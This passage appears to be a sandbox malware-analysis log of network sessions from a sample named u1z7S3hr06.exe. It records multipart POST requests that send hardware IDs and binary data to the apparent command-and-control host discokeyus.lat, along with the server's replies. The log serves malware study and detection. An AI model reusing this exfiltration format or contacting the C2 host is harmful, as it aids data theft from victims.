2024-12-20 16:10:35 UTC	1369	IN	Data Raw: 66 45 4e 30 41 4b 30 52 30 70 37 53 68 69 4f 4e 48 4a 56 4b 6f 57 61 47 39 6e 2f 64 34 39 7a 32 66 35 72 31 62 66 4f 78 77 4a 54 59 74 76 41 31 48 72 47 6a 4c 7a 4d 6d 41 6d 33 59 35 44 37 51 67 6e 62 32 4f 37 69 58 36 48 4a 62 65 74 54 5a 42 6b 58 53 6c 50 68 32 77 55 56 50 4a 65 4a 37 49 6b 4c 79 2f 62 79 52 4f 6b 43 53 5a 70 5a 72 32 55 64 63 78 67 38 72 68 65 32 54 45 51 43 56 4b 4f 59 41 4e 5a 35 42 51 79 38 7a 64 72 4a 64 71 50 53 2b 52 50 5a 69 68 73 70 63 59 6c 68 30 6a 79 75 6c 4c 63 4b 6c 38 7a 48 35 73 68 47 52 6e 6b 45 6e 69 6b 66 57 63 74 31 49 70 41 36 77 77 67 59 33 6d 39 6c 48 76 4b 62 75 57 73 55 4e 34 32 48 68 74 56 69 6d 6b 44 55 4f 67 58 50 66 73 35 4c 32 61 58 6a 6c 4f 6b 56 32 68 4a 5a 72 61 4b 64 39 42 72 74 37 55 62 79 58 77 61 42 Data Ascii: fEN0AK0R0p7ShiONHJVKoWaG9n/d49z2f5r1bfOxwJTYtvA1HrGjLzMmAm3Y5D7Qgnb2O7iX6HJbetTZBkXSlPh2wUVPJeJ7IkLy/byROkCSZpZr2Udcxg8rhe2TEQCVKOYANZ5BQy8zdrJdqPS+RPZihspcYlh0jyulLcKl8zH5shGRnkEnikfWct1IpA6wwgY3m9lHvKbuWsUN42HhtVimkDUOgXPfs5L2aXjlOkV2hJZraKd9Brt7UbyXwaB
2024-12-20 16:10:35 UTC	1369	IN	Data Raw: 50 56 4f 39 65 64 72 77 36 64 32 69 50 79 57 48 6e 47 79 74 69 4b 59 69 46 63 38 6c 73 34 65 70 4b 6e 69 56 64 44 6c 50 45 4e 30 42 55 34 68 59 2b 37 6a 4a 69 4b 39 6d 48 52 4f 45 41 49 47 68 72 73 49 4e 35 7a 47 44 30 70 31 48 43 4e 68 30 42 57 6f 56 6c 43 68 6d 74 58 6a 2f 6b 66 54 64 6f 35 70 35 41 70 6a 6f 72 5a 6d 57 36 6b 44 33 59 4a 65 37 71 55 74 78 38 52 55 6c 53 6a 47 6f 46 56 75 49 55 4e 76 6b 33 59 79 44 5a 69 6c 6e 72 43 79 68 6b 59 37 65 4c 63 38 4e 6a 2f 71 46 65 31 6a 77 63 41 78 2f 4b 4c 77 64 42 6f 30 5a 34 79 44 70 6a 4a 64 6a 4c 66 75 63 42 4a 6d 39 39 2f 5a 6b 7a 33 69 76 77 70 68 57 49 66 42 45 41 58 34 39 6c 42 46 6e 6b 45 7a 33 2f 4f 6d 77 6c 30 49 4e 46 34 77 73 6b 59 57 61 37 68 6e 72 44 62 75 57 76 58 4e 77 77 58 55 63 66 67 33 Data Ascii: PVO9edrw6d2iPyWHnGytiKYiFc8ls4epKniVdDlPEN0BU4hY+7jJiK9mHROEAIGhrsIN5zGD0p1HCNh0BWoVlChmtXj/kfTdo5p5ApjorZmW6kD3YJe7qUtx8RUlSjGoFVuIUNvk3YyDZilnrCyhkY7eLc8Nj/qFe1jwcAx/KLwdBo0Z4yDpjJdjLfucBJm99/Zkz3ivwphWIfBEAX49lBFnkEz3/Omwl0INF4wskYWa7hnrDbuWvXNwwXUcfg3
2024-12-20 16:10:35 UTC	1369	IN	Data Raw: 58 6a 2f 77 66 54 64 6f 33 6f 42 5a 36 67 45 68 5a 57 32 31 67 58 50 4b 59 50 47 68 55 74 63 36 45 41 46 53 67 57 77 42 58 65 6b 4d 4f 2f 63 33 59 69 4b 58 78 77 76 6a 46 32 67 77 4b 35 71 4b 56 4e 64 77 35 62 77 56 7a 33 49 45 53 56 69 49 4c 31 67 5a 34 42 45 78 38 7a 56 6e 4a 39 69 4e 52 65 49 4a 4a 57 31 6b 74 35 52 31 79 57 62 38 70 56 37 43 50 42 41 4e 55 34 42 6e 43 31 4f 6a 55 48 6a 37 4a 53 39 77 6c 37 78 47 36 77 38 72 66 69 75 69 79 47 53 48 62 50 76 71 44 5a 41 77 45 77 6c 51 69 47 4d 4c 55 65 49 53 4e 76 73 34 5a 69 44 66 6d 30 72 67 42 79 6c 6d 5a 4c 79 43 65 4d 4a 76 38 4b 35 54 33 33 78 54 53 56 69 63 4c 31 67 5a 7a 44 6b 4e 76 68 78 56 61 4d 6a 48 55 71 51 49 4a 43 67 7a 2f 59 70 2b 79 32 50 34 72 46 7a 63 4e 68 51 43 55 34 39 72 44 46 44 Data Ascii: Xj/wfTdo3oBZ6gEhZW21gXPKYPGhUtc6EAFSgWwBXekMO/c3YiKXxwvjF2gwK5qKVNdw5bwVz3IESViIL1gZ4BEx8zVnJ9iNReIJJW1kt5R1yWb8pV7CPBANU4BnC1OjUHj7JS9wl7xG6w8rfiuiyGSHbPvqDZAwEwlQiGMLUeISNvs4ZiDfm0rgBylmZLyCeMJv8K5T33xTSVicL1gZzDkNvhxVaMjHUqQIJCgz/Yp+y2P4rFzcNhQCU49rDFD
2024-12-20 16:10:35 UTC	1369	IN	Data Raw: 54 78 70 4f 74 43 41 57 65 6f 43 4a 32 42 6a 74 49 64 35 77 6d 62 78 70 6c 2f 52 4f 78 4d 48 56 38 51 68 51 46 37 37 58 6d 43 38 48 48 38 7a 78 5a 39 47 78 51 49 6e 4b 48 54 7a 6e 7a 33 41 5a 37 66 79 46 64 6b 75 47 51 52 4e 6a 57 67 4f 56 75 41 4d 4f 66 45 32 66 53 2f 59 6a 55 7a 6f 43 53 64 75 61 72 69 4d 63 63 42 75 2f 4b 56 5a 6b 48 4a 64 44 6b 66 45 4e 30 42 33 36 41 30 76 2f 7a 4e 6b 50 73 7a 4a 56 4b 6f 57 61 47 39 6e 2f 64 34 39 78 47 44 38 72 6c 58 63 50 42 6b 45 58 35 5a 67 42 31 37 71 46 53 72 32 4f 6d 67 6a 33 34 4a 45 34 68 30 6b 5a 6e 6d 34 6c 47 2b 48 4a 62 65 74 54 5a 42 6b 58 54 39 59 6c 48 38 44 47 39 49 49 4f 2b 6f 32 59 69 53 58 6c 67 58 39 54 79 39 6b 4b 2b 58 47 65 38 68 69 39 4b 56 55 32 54 41 51 44 46 61 42 62 67 5a 64 36 52 51 34 Data Ascii: TxpOtCAWeoCJ2BjtId5wmbxpl/ROxMHV8QhQF77XmC8HH8zxZ9GxQInKHTznz3AZ7fyFdkuGQRNjWgOVuAMOfE2fS/YjUzoCSduariMccBu/KVZkHJdDkfEN0B36A0v/zNkPszJVKoWaG9n/d49xGD8rlXcPBkEX5ZgB17qFSr2Omgj34JE4h0kZnm4lG+HJbetTZBkXT9YlH8DG9IIO+o2YiSXlgX9Ty9kK+XGe8hi9KVU2TAQDFaBbgZd6RQ4
2024-12-20 16:10:35 UTC	1369	IN	Data Raw: 65 5a 6b 41 76 6a 41 32 67 77 4b 37 36 42 66 73 5a 68 2f 71 5a 61 31 7a 67 50 41 31 69 57 62 67 46 53 37 68 49 34 38 54 42 6c 4b 64 36 45 52 2b 6b 49 4c 32 64 75 2f 63 67 39 77 48 4f 33 38 68 58 78 4d 52 59 46 42 4e 34 76 48 78 66 36 58 6a 2f 77 66 54 64 6f 31 34 4e 4f 37 67 49 72 5a 32 69 76 68 33 76 56 61 2f 71 67 52 39 6f 33 47 41 52 53 69 57 77 47 58 2b 67 53 4b 76 55 39 62 43 4f 58 78 77 76 6a 46 32 67 77 4b 35 36 52 61 38 31 73 2b 37 78 65 30 54 38 4c 42 45 2f 45 49 55 42 49 35 41 39 34 70 43 74 2f 50 39 43 57 42 66 31 50 4c 32 51 72 35 63 5a 37 7a 6d 33 77 72 46 76 43 4f 52 73 47 55 49 31 6d 42 46 48 67 48 6a 7a 34 4f 6d 6f 72 32 34 4a 4d 35 77 41 73 59 57 57 30 69 54 32 4a 4b 2f 43 79 46 59 68 38 50 42 4a 63 69 47 4a 41 52 71 30 48 65 50 73 78 4c Data Ascii: eZkAvjA2gwK76BfsZh/qZa1zgPA1iWbgFS7hI48TBlKd6ER+kIL2du/cg9wHO38hXxMRYFBN4vHxf6Xj/wfTdo14NO7gIrZ2ivh3vVa/qgR9o3GARSiWwGX+gSKvU9bCOXxwvjF2gwK56Ra81s+7xe0T8LBE/EIUBI5A94pCt/P9CWBf1PL2Qr5cZ7zm3wrFvCORsGUI1mBFHgHjz4Omor24JM5wAsYWW0iT2JK/CyFYh8PBJciGJARq0HePsxL
2024-12-20 16:10:35 UTC	1369	IN	Data Raw: 54 70 43 38 6a 66 6d 36 36 6b 44 2f 79 61 50 6d 6b 55 73 5a 38 41 6a 59 52 78 47 41 61 47 62 73 6e 49 62 77 36 59 32 69 50 79 56 37 6a 44 79 39 79 66 62 71 4b 62 4d 78 6d 2b 34 68 61 31 79 6f 65 42 6c 79 56 5a 6b 78 53 37 6c 35 32 76 44 70 33 61 49 2f 4a 5a 4f 4d 5a 4b 30 64 6f 72 49 38 39 69 53 76 77 76 42 57 49 66 43 4e 4a 54 59 64 2f 41 31 62 79 49 48 69 6b 4a 46 46 6f 33 4a 39 4d 39 41 77 2b 59 32 61 78 6c 30 4f 48 4d 36 50 34 42 34 4a 75 54 78 59 66 6d 31 42 4f 47 65 4a 65 59 4d 55 6b 4c 7a 36 58 30 52 6d 71 54 7a 6f 6f 4d 2f 33 42 66 74 56 35 38 61 6c 44 30 33 73 6a 4e 33 69 53 5a 51 64 4a 35 41 6b 33 76 48 4d 76 4a 35 66 52 63 71 51 47 4c 33 4e 36 71 34 74 74 77 43 76 49 35 42 58 49 66 45 56 4a 61 6f 64 68 44 6c 37 31 44 33 58 62 4b 32 55 76 78 34 Data Ascii: TpC8jfm66kD/yaPmkUsZ8AjYRxGAaGbsnIbw6Y2iPyV7jDy9yfbqKbMxm+4ha1yoeBlyVZkxS7l52vDp3aI/JZOMZK0dorI89iSvwvBWIfCNJTYd/A1byIHikJFFo3J9M9Aw+Y2axl0OHM6P4B4JuTxYfm1BOGeJeYMUkLz6X0RmqTzooM/3BftV58alD03sjN3iSZQdJ5Ak3vHMvJ5fRcqQGL3N6q4ttwCvI5BXIfEVJaodhDl71D3XbK2Uvx4
2024-12-20 16:10:35 UTC	1369	IN	Data Raw: 4a 79 52 6c 74 6f 5a 36 31 33 33 73 35 6c 33 54 4a 67 63 33 59 61 39 6a 42 6c 37 35 47 54 37 61 48 53 39 6d 6c 34 59 4c 76 44 5a 6f 49 43 75 43 79 44 33 66 4b 36 2f 71 59 4e 4d 79 45 77 35 4a 6c 53 49 6f 65 74 6b 6b 65 74 41 36 65 6d 72 6a 6a 6c 76 31 42 43 56 6b 4b 2f 50 47 65 34 63 7a 70 2b 51 56 31 43 31 64 55 51 2f 57 4e 46 55 4b 74 45 35 71 34 33 4e 32 61 4d 48 4a 45 37 5a 42 61 48 6f 72 35 63 59 36 78 48 6e 6c 72 46 62 47 50 31 6f 33 59 61 4e 68 42 31 6a 31 44 69 2f 7a 41 31 45 39 31 49 64 46 34 78 6b 35 4b 43 58 39 69 54 32 66 55 72 66 69 46 65 39 79 58 52 45 66 33 43 38 31 57 75 30 51 50 2b 6f 73 49 67 2f 5a 6a 6b 72 79 48 7a 39 6e 4b 2f 50 47 65 34 63 7a 70 65 51 56 31 43 31 64 55 51 2f 57 4e 46 55 4b 74 45 35 71 34 33 4e 32 61 4d 48 4a 45 37 5a Data Ascii: JyRltoZ6133s5l3TJgc3Ya9jBl75GT7aHS9ml4YLvDZoICuCyD3fK6/qYNMyEw5JlSIoetkketA6emrjjlv1BCVkK/PGe4czp+QV1C1dUQ/WNFUKtE5q43N2aMHJE7ZBaHor5cY6xHnlrFbGP1o3YaNhB1j1Di/zA1E91IdF4xk5KCX9iT2fUrfiFe9yXREf3C81Wu0QP+osIg/ZjkryHz9nK/PGe4czpeQV1C1dUQ/WNFUKtE5q43N2aMHJE7Z
2024-12-20 16:10:35 UTC	1369	IN	Data Raw: 50 2b 6d 65 74 46 6f 74 2b 51 56 33 48 78 46 53 56 36 4f 66 77 31 57 35 46 49 2f 35 6a 6f 76 5a 70 65 48 43 37 78 50 4b 57 4a 37 73 49 6c 36 69 32 33 35 70 42 58 50 63 67 52 4a 53 63 51 33 55 78 65 6a 44 48 69 6b 66 53 67 72 78 5a 74 4e 35 78 6b 72 4c 31 57 44 71 32 2f 41 65 2f 54 6f 5a 4e 30 34 43 78 78 63 6c 47 67 2b 5a 38 34 4d 50 2b 77 2b 4c 52 6e 42 69 6b 76 71 43 47 67 6d 4b 36 58 47 4a 59 64 47 35 61 31 46 30 33 78 54 53 56 50 45 4e 30 42 55 38 52 6b 6f 2f 33 46 6f 4d 74 44 4a 56 4b 6f 57 61 48 34 72 35 64 55 7a 68 33 6d 33 38 68 57 58 4d 68 41 49 58 49 70 73 45 6b 76 6c 48 53 37 2f 65 6c 45 57 2b 70 74 4d 39 41 78 71 57 57 61 35 6b 47 6a 45 65 2f 43 55 61 2f 30 75 47 68 6c 63 78 6b 4d 48 56 4f 38 67 42 73 73 73 61 44 69 56 72 30 6a 79 44 47 67 6d Data Ascii: P+metFot+QV3HxFSV6Ofw1W5FI/5jovZpeHC7xPKWJ7sIl6i235pBXPcgRJScQ3UxejDHikfSgrxZtN5xkrL1WDq2/Ae/ToZN04CxxclGg+Z84MP+w+LRnBikvqCGgmK6XGJYdG5a1F03xTSVPEN0BU8Rko/3FoMtDJVKoWaH4r5dUzh3m38hWXMhAIXIpsEkvlHS7/elEW+ptM9AxqWWa5kGjEe/CUa/0uGhlcxkMHVO8gBsssaDiVr0jyDGgm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.21.99	443	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:10:37 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RWTY4R5B6CGJ3U6RZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18157 Host: discokeyus.lat
2024-12-20 16:10:37 UTC	15331	OUT	Data Raw: 2d 2d 52 57 54 59 34 52 35 42 36 43 47 4a 33 55 36 52 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 44 32 46 31 30 39 44 33 44 46 37 36 45 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 57 54 59 34 52 35 42 36 43 47 4a 33 55 36 52 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 57 54 59 34 52 35 42 36 43 47 4a 33 55 36 52 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --RWTY4R5B6CGJ3U6RZContent-Disposition: form-data; name="hwid"0D2F109D3DF76EDDAC8923850305D13E--RWTY4R5B6CGJ3U6RZContent-Disposition: form-data; name="pid"2--RWTY4R5B6CGJ3U6RZContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-20 16:10:37 UTC	2826	OUT	Data Raw: 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af Data Ascii: 5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-20 16:10:39 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lvcru5li7h0lnjlug0a1ad87e4; expires=Tue, 15 Apr 2025 09:57:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q1v54fQwsfMv1M01QN4yKd9hQ%2BKXBxbnZZLVlO5%2BRl0xZ37UWZuJdNC1dVQgUc7svZRZw%2F%2BRHsDV7gLZ5YTgw2vo5kG5%2Fp0A4ZWrXtgJOz6lA5SK58Nk2Nr0%2BOPadmkH%2BA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50e74f3fee7ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1816&rtt_var=703&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2831&recv_bytes=19116&delivery_rate=1533613&cwnd=179&unsent_bytes=0&cid=b5a51e00ccd0a5b8&ts=2019&x=0"
2024-12-20 16:10:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:10:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.21.99	443	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:10:40 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=39TI89TU7NF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8742 Host: discokeyus.lat
2024-12-20 16:10:40 UTC	8742	OUT	Data Raw: 2d 2d 33 39 54 49 38 39 54 55 37 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 44 32 46 31 30 39 44 33 44 46 37 36 45 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 33 39 54 49 38 39 54 55 37 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 39 54 49 38 39 54 55 37 4e 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 33 39 54 49 38 39 54 55 37 4e 46 0d 0a 43 6f 6e 74 Data Ascii: --39TI89TU7NFContent-Disposition: form-data; name="hwid"0D2F109D3DF76EDDAC8923850305D13E--39TI89TU7NFContent-Disposition: form-data; name="pid"2--39TI89TU7NFContent-Disposition: form-data; name="lid"PsFKDg--pablo--39TI89TU7NFCont
2024-12-20 16:10:41 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cegi213ggd0dglmtp6kktijh4h; expires=Tue, 15 Apr 2025 09:57:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tSbDmVGR5h5eW5vAZdxbyS8p3F2N44dCa%2B9fosmJop%2FgDnLsnByn7z8vtrYLWtCt1OjkDRUDy1Z1tqSfQ%2BFXJWP3%2BkEQlQSACWvQbEyTrdhyGMPHb8IVcxzUU1%2BF14A32g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50e763ff0643b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&min_rtt=1702&rtt_var=652&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2832&recv_bytes=9672&delivery_rate=1660978&cwnd=238&unsent_bytes=0&cid=7bc8da1be1a16a9c&ts=854&x=0"
2024-12-20 16:10:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:10:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.21.99	443	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:10:42 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B0OTJLDMJTSAABLG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20425 Host: discokeyus.lat
2024-12-20 16:10:42 UTC	15331	OUT	Data Raw: 2d 2d 42 30 4f 54 4a 4c 44 4d 4a 54 53 41 41 42 4c 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 44 32 46 31 30 39 44 33 44 46 37 36 45 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 30 4f 54 4a 4c 44 4d 4a 54 53 41 41 42 4c 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 30 4f 54 4a 4c 44 4d 4a 54 53 41 41 42 4c 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 42 30 Data Ascii: --B0OTJLDMJTSAABLGContent-Disposition: form-data; name="hwid"0D2F109D3DF76EDDAC8923850305D13E--B0OTJLDMJTSAABLGContent-Disposition: form-data; name="pid"3--B0OTJLDMJTSAABLGContent-Disposition: form-data; name="lid"PsFKDg--pablo--B0
2024-12-20 16:10:42 UTC	5094	OUT	Data Raw: 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-20 16:10:43 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:10:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kcnh2tcc38gl68o83to31hll9a; expires=Tue, 15 Apr 2025 09:57:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YjsL77NeIS4q4YzQa0Z%2BnCnoET%2BjVya58VMywcn7N%2Bn64k%2BleWxmguPKjzcKjVgwRBsFqpKCkUA%2FF1FhSIiFXrqv0uPuYjd5KkdoyQiiiI0Tn6SqEmnKyyxdGUI762TH3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50e7724f7e32ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1792&min_rtt=1777&rtt_var=697&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21383&delivery_rate=1536033&cwnd=221&unsent_bytes=0&cid=2bd2d4694bbea96a&ts=973&x=0"
2024-12-20 16:10:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:10:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.21.99	443	7540	C:\Users\user\Desktop\u1z7S3hr06.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:10:45 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9OETYS0QXYWRCC3Q User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1252 Host: discokeyus.lat
2024-12-20 16:10:45 UTC	1252	OUT	Data Raw: 2d 2d 39 4f 45 54 59 53 30 51 58 59 57 52 43 43 33 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 44 32 46 31 30 39 44 33 44 46 37 36 45 44 44 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 4f 45 54 59 53 30 51 58 59 57 52 43 43 33 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 4f 45 54 59 53 30 51 58 59 57 52 43 43 33 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 